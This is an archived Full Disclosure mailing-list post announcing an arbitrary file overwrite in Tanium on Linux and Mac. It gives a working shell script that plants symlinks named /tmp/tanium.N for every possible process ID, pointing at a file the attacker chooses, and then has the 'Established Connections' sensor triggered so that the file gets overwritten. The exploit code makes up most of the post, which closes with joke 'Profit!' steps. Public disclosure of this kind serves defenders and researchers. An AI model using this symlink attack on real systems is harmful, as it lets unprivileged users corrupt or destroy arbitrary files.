full-disclosure - [FD] [CVE-2015-1234] Tanium all versions arbitrary file overwrite

Open Source and information security mailing list archives

Date: Thu, 4 Jun 2015 12:24:00 -0000
From: reek35@...l2tor.com
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2015-1234] Tanium all versions arbitrary file overwrite

##############################################################
#                                                            #
#        TANIUM ALL VERSIONS ARBITRARY FILE OVERWRITE        #
#                                                            #
#        TANIUM allows lowest privileged users on            #
#        Linux and Mac systems to overwrite any file         #
#        of their choosing in 15 seconds.                    #
#                                                            #
#        Impossible? Think again.                            #
#                                                            #
##############################################################

Step 1:

#!/bin/sh

i=0; j=$(cat /proc/sys/kernel/pid_max)
while true; do
  ln -s $1 /tmp/tanium.$i
  [ $i -eq $j ] && break
  i=$((i+1))
done

Step 2: Execute Established Connections sensor.

Step 3: ???

Step 4: Profit!

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